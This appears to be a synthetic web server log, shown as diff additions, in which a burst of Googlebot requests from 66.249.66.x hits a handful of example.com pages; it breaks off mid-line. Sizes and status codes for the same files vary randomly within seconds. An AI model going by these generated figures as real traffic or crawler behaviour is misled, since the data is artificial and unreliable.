+Aug 22 10:00:19 web-app[1234]: 192.168.1.82 - - "GET /images/logo.png HTTP/1.1" 200 14325 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:00:32 web-app[1234]: 192.168.1.192 - - "GET /sitemap.xml HTTP/1.1" 200 7388 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:46 web-app[1234]: 192.168.1.95 - - "GET /blog/article-5 HTTP/1.1" 200 6468 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:57 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 web-app[1234]: 192.168.1.95 - - "GET /products/123 HTTP/1.1" 200 7396 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:17 web-app[1234]: 192.168.1.95 - - "GET /robots.txt HTTP/1.1" 200 4504 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:33 web-app[1234]: 192.168.1.82 - - "GET /blog/article-5 HTTP/1.1" 200 10138 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:01:48 web-app[1234]: 192.168.1.117 - - "GET /about-us HTTP/1.1" 200 6384 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:54 CRON[5357]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:00 web-app[1234]: 66.249.66.5 - - "GET /robots.txt HTTP/1.1" 200 39330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:00 web-app[1234]: 66.249.66.8 - - "GET /images/logo.png HTTP/1.1" 200 18905 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:01 web-app[1234]: 66.249.66.5 - - "GET /blog/article-5 HTTP/1.1" 200 5040 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:01 web-app[1234]: 66.249.66.8 - - "GET /robots.txt HTTP/1.1" 200 5181 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:02 web-app[1234]: 66.249.66.3 - - "GET /robots.txt HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:03 web-app[1234]: 66.249.66.4 - - "GET /images/logo.png HTTP/1.1" 200 27736 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:03 web-app[1234]: 66.249.66.6 - - "GET /sitemap.xml HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:04 web-app[1234]: 66.249.66.2 - - "GET /about-us HTTP/1.1" 200 48297 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:04 web-app[1234]: 66.249.66.4 - - "GET /robots.txt HTTP/1.1" 200 37087 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:04 web-app[1234]: 66.249.66.8 - - "GET /robots.txt HTTP/1.1" 200 37620 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:05 web-app[1234]: 66.249.66.1 - - "GET /index.html HTTP/1.1" 200 45162 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:05 web-app[1234]: 66.249.66.7 - - "GET /sitemap.xml HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:05 web-app[1234]: 66.249.66.8 - - "GET /about-us HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:07 web-app[1234]: 66.249.66.1 - - "GET /images/logo.png HTTP/1.1" 200 9548 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:07 web-app[1234]: 66.249.66.3 - - "GET /images/logo.png HTTP/1.1" 200 20698 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:07 web-app[1234]: 66.249.66.5 - - "GET /sitemap.xml HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:07 web-app[1234]: 66.249.66.8 - - "GET /products/123 HTTP/1.1" 200 40123 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:07 web-app[1234]: 66.249.66.9 - - "GET /robots.txt HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:08 web-app[1234]: 66.249.66.6 - - "GET /images/logo.png HTTP/1.1" 200 33223 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:09 web-app[1234]: 66.249.66.5 - - "GET /index.html HTTP/1.1" 200 32132 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:10 web-app[1234]: 66.249.66.4 - - "GET /blog/article-5 HTTP/1.1" 200 48491 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:10 web-app[1234]: 66.249.66.9 - - "GET /robots.txt HTTP/1.1" 200 29833 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:11 web-app[1234]: 66.249.66.7 - - "GET /robots.txt HTTP/1.1" 200 33201 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:12 web-app[1234]: 66.249.66.4 - - "GET /index.html HTTP/1.1" 200 30312 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:12 web-app[1234]: 66.249.66.7 - - "GET /robots.txt HTTP/1.1" 200 11027 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:13 web-app[1234]: 66.249.66.2 - - "GET /index.html HTTP/1.1" 200 45175 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:13 web-app[1234]: 66.249.66.4 - - "GET /about-us HTTP/1.1" 200 8586 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:15 web-app[1234]: 66.249.66.1 - - "GET /sitemap.xml HTTP/1.1" 200 38228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:15 web-app[1234]: 66.249.66.3 - - "GET /sitemap.xml HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:15 web-app[1234]: 66.249.66.7 - - "GET /blog/article-5 HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:15 web-app[1234]: 66.249.66.7 - - "GET /robots.txt HTTP/1.1" 200 11290 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:16 web-app[1234]: 66.249.66.6 - - "GET /about-us HTTP/1.1" 200 7185 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:16 web-app[1234]: 66.249.66.9 - - "GET /blog/article-5 HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:18 web-app[1234]: 66.249.66.5 - - "GET /about-us HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:19 web-app[1234]: 66.249.66.6 - - "GET /products/123 HTTP/1.1" 200 47004 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:19 web-app[1234]: 66.249.66.9 - - "GET /blog/article-5 HTTP/1.1" 200 6840 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:20 web-app[1234]: 66.249.66.5 - - "GET /sitemap.xml HTTP/1.1" 200 45145 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:20 web-app[1234]: 66.249.66.6 - - "GET /products/123 HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:20 web-app[1234]: 66.249.66.8 - - "GET /images/logo.png HTTP/1.1" 200 41285 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:21 web-app[1234]: 66.249.66.2 - - "GET /robots.txt HTTP/1.1" 200 41912 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:22 web-app[1234]: 66.249.66.2 - - "GET /about-us HTTP/1.1" 200 45712 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:22 web-app[1234]: 66.249.66.6 - - "GET /index.html HTTP/1.1" 200 9001 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:24 web-app[1234]: 66.249.66.5 - - "GET /images/logo.png HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:24 web-app[1234]: 66.249.66.8 - - "GET /blog/article-5 HTTP/1.1" 200 32849 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:25 web-app[1234]: 66.249.66.1 - - "GET /images/logo.png HTTP/1.1" 200 21143 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:25 web-app[1234]: 66.249.66.4 - - "GET /products/123 HTTP/1.1" 200 40491 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:25 web-app[1234]: 66.249.66.7 - - "GET /sitemap.xml HTTP/1.1" 200 12461 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:25 web-app[1234]: 66.249.66.9 - - "GET /index.html HTTP/1.1" 200 45870 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:26 web-app[1234]: 66.249.66.1 - - "GET /images/logo.png HTTP/1.1" 200 48978 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:26 web-app[1234]: 66.249.66.8 - - "GET /about-us HTTP/1.1" 200 15517 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:28 web-app[1234]: 66.249.66.5 - - "GET /products/123 HTTP/1.1" 200 15115 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:29 web-app[1234]: 66.249.66.8 - - "GET /blog/article-5 HTTP/1.1" 200 5402 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:31 web-app[1234]: 66.249.66.2 - - "GET /sitemap.xml HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:31 web-app[1234]: 66.249.66.4 - - "GET /robots.txt HTTP/1.1" 200 47294 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:31 web-app[1234]: 66.249.66.4 - - "GET /robots.txt HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:31 web-app[1234]: 66.249.66.8 - - "GET /about-us HTTP/1.1" 200 25231 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:32 web-app[1234]: 66.249.66.7 - - "GET /about-us HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:35 web-app[1234]: 66.249.66.4 - - "GET /products/123 HTTP/1.1" 200 32542 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:35 web-app[1234]: 66.249.66.7 - - "GET /products/123 HTTP/1.1" 200 14008 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:36 web-app[1234]: 66.249.66.6 - - "GET /sitemap.xml HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:36 web-app[1234]: 66.249.66.7 - - "GET /robots.txt HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:37 web-app[1234]: 66.249.66.7 - - "GET /images/logo.png HTTP/1.1" 200 13931 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:38 web-app[1234]: 66.249.66.9 - - "GET /robots.txt HTTP/1.1" 200 47263 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:39 web-app[1234]: 66.249.66.2 - - "GET /about-us HTTP/1.1" 200 28801 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:39 web-app[1234]: 66.249.66.8 - - "GET /products/123 HTTP/1.1" 200 47600 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:39 web-app[1234]: 66.249.66.9 - - "GET /images/logo.png HTTP/1.1" 200 45105 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:41 web-app[1234]: 66.249.66.6 - - "GET /index.html HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:41 web-app[1234]: 66.249.66.8 - - "GET /robots.txt HTTP/1.1" 200 42008 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:43 web-app[1234]: 66.249.66.1 - - "GET /products/123 HTTP/1.1" 200 23940 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:43 web-app[1234]: 66.249.66.2 - - "GET /robots.txt HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:43 web-app[1234]: 66.249.66.4 - - "GET /images/logo.png HTTP/1.1" 200 44623 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:45 web-app[1234]: 66.249.66.4 - - "GET /index.html HTTP/1.1" 200 19995 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:46 web-app[1234]: 66.249.66.3 - - "GET /products/123 HTTP/1.1" 200 48302 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:46 web-app[1234]: 66.249.66.6 - - "GET /sitemap.xml HTTP/1.1" 200 38263 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:46 web-app[1234]: 66.249.66.7 - - "GET /robots.txt HTTP/1.1" 200 5446 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:47 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:47 web-app[1234]: 66.249.66.1 - - "GET /robots.txt HTTP/1.1" 200 39576 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:47 web-app[1234]: 66.249.66.1 - - "GET /sitemap.xml HTTP/1.1" 200 39305 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:49 web-app[1234]: 66.249.66.7 - - "GET /images/logo.png HTTP/1.1" 200 20098 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:50 web-app[1234]: 66.249.66.2 - - "GET /products/123 HTTP/1.1" 200 39150 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[1234]: 66.249.66.2 - - "GET /blog/article-5 HTTP/1.1" 200 47430 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[1234]: 66.249.66.3 - - "GET /sitemap.xml HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:51 web-app[1234]: 66.249.66.5 - - "GET /about-us HTTP/1.1" 200 42003 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[1234]: 66.249.66.2 - - "GET /images/logo.png HTTP/1.1" 200 31976 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[1234]: 66.249.66.5 - - "GET /products/123 HTTP/1.1" 200 21985 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:53 web-app[1234]: 66.249.66.6 - - "GET /about-us HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:54 web-app[1234]: 66.249.66.3 - - "GET /images/logo.png HTTP/1.1" 200 49904 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:55 web-app[1234]: 66.249.66.3 - - "GET /about-us HTTP/1.1" 200 44413 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:55 web-app[1234]: 66.249.66.6 - - "GET /robots.txt HTTP/1.1" 200 12386 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:55 web-app[1234]: 66.249.66.8 - - "GET /products/123 HTTP/1.1" 200 27349 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:55 web-app[1234]: 66.249.66.9 - - "GET /robots.txt HTTP/1.1" 200 43832 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:56 web-app[1234]: 66.249.66.5 - - "GET /robots.txt HTTP/1.1" 200 35181 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:56 web-app[1234]: 66.249.66.5 - - "GET /sitemap.xml HTTP/1.1" 200 36704 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:56 web-app[1234]: 66.249.66.6 - - "GET /products/123 HTTP/1.1" 200 26261 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:57 web-app[1234]: 66.249.66.4 - - "GET /images/logo.png HTTP/1.1" 200 18406 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:58 web-app[1234]: 66.249.66.9 - - "GET /about-us HTTP/1.1" 200 17065 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:59 web-app[1234]: 66.249.66.2 - - "GET /robots.txt HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:00 web-app[1234]: 66.249.66.3 - - "GET /about-us HTTP/1.1" 200 41422 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:01 web-app[1234]: 66.249.66.5 - - "GET /sitemap.xml HTTP/1.1" 200 20874 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:02 web-app[1234]: 66.249.66.2 - - "GET /images/logo.png HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:03 web-app[1234]: 66.249.66.4 - - "GET /index.html HTTP/1.1" 200 13753 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:03 web-app[1234]: 66.249.66.5 - - "GET /robots.txt HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:03 web-app[1234]: 66.249.66.6 - - "GET /about-us HTTP/1.1" 200 11847 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:04 web-app[1234]: 66.249.66.9 - - "GET /about-us HTTP/1.1" 200 49922 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:05 web-app[1234]: 66.249.66.2 - - "GET /about-us HTTP/1.1" 200 26637 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:05 web-app[1234]: 66.249.66.5 - - "GET /sitemap.xml HTTP/1.1" 200 20609 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:05 web-app[1234]: 66.249.66.9 - - "GET /index.html HTTP/1.1" 200 16259 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[1234]: 66.249.66.6 - - "GET /sitemap.xml HTTP/1.1" 200 21971 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[1234]: 66.249.66.8 - - "GET /images/logo.png HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:07 web-app[1234]: 66.249.66.9 - - "GET /robots.txt HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:08 web-app[1234]: 66.249.66.1 - - "GET /images/logo.png HTTP/1.1" 200 23683 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:08 web-app[1234]: 66.249.66.2 - - "GET /about-us HTTP/1.1" 200 7001 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:09 web-app[1234]: 66.249.66.1 - - "GET /images/logo.png HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:09 web-app[1234]: 66.249.66.7 - - "GET /blog/article-5 HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:10 web-app[1234]: 66.249.66.1 - - "GET /sitemap.xml HTTP/1.1" 200 40889 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:10 web-app[1234]: 66.249.66.3 - - "GET /products/123 HTTP/1.1" 200 23015 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:11 web-app[1234]: 66.249.66.6 - - "GET /images/logo.png HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:11 web-app[1234]: 66.249.66.7 - - "GET /index.html HTTP/1.1" 200 25568 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:11 web-app[1234]: 66.249.66.8 - - "GET /sitemap.xml HTTP/1.1" 200 20435 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:12 web-app[1234]: 66.249.66.9 - - "GET /about-us HTTP/1.1" 200 43248 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:14 web-app[1234]: 66.249.66.8 - - "GET /robots.txt HTTP/1.1" 200 9128 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:14 web-app[1234]: 66.249.66.9 - - "GET /about-us HTTP/1.1" 200 33184 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:14 web-app[1234]: 66.249.66.9 - - "GET /index.html HTTP/1.1" 200 27711 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:15 web-app[1234]: 66.249.66.1 - - "GET /about-us HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:15 web-app[1234]: 66.249.66.3 - - "GET /index.html HTTP/1.1" 200 5771 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:15 web-app[1234]: 66.249.66.9 - - "GET /blog/article-5 HTTP/1.1" 200 18691 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:16 web-app[1234]: 66.249.66.5 - - "GET /images/logo.png HTTP/1.1" 200 33757 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:17 web-app[1234]: 66.249.66.5 - - "GET /images/logo.png HTTP/1.1" 200 13126 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:17 web-app[1234]: 66.249.66.9 - - "GET /products/123 HTTP/1.1" 200 32731 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:18 web-app[1234]: 66.249.66.2 - - "GET /products/123 HTTP/1.1" 200 28659 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:19 web-app[1234]: 66.249.66.3 - - "GET /robots.txt HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:19 web-app[1234]: 66.249.66.4 - - "GET /products/123 HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:19 web-app[1234]: 66.249.66.6 - - "GET /images/logo.png HTTP/1.1" 200 48858 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:20 web-app[1234]: 66.249.66.8 - - "GET /blog/article-5 HTTP/1.1" 200 20586 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:21 web-app[1234]: 66.249.66.3 - - "GET /sitemap.xml HTTP/1.1" 200 36041 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:21 web-app[1234]: 66.249.66.7 - - "GET /images/logo.png HTTP/1.1" 200 33410 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:22 web-app[1234]: 66.249.66.5 - - "GET /products/123 HTTP/1.1" 200 11580 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:22 web-app[1234]: 66.249.66.9 - - "GET /about-us HTTP/1.1" 200 28403 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:24 web-app[1234]: 66.249.66.4 - - "GET /index.html HTTP/1.1" 200 48885 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:24 web-app[1234]: 66.249.66.5 - - "GET /blog/article-5 HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:03:26 web-app[1234]: 66.249.66.7 - - "GET /index.html HTTP/1.1" 200 39432 "-" 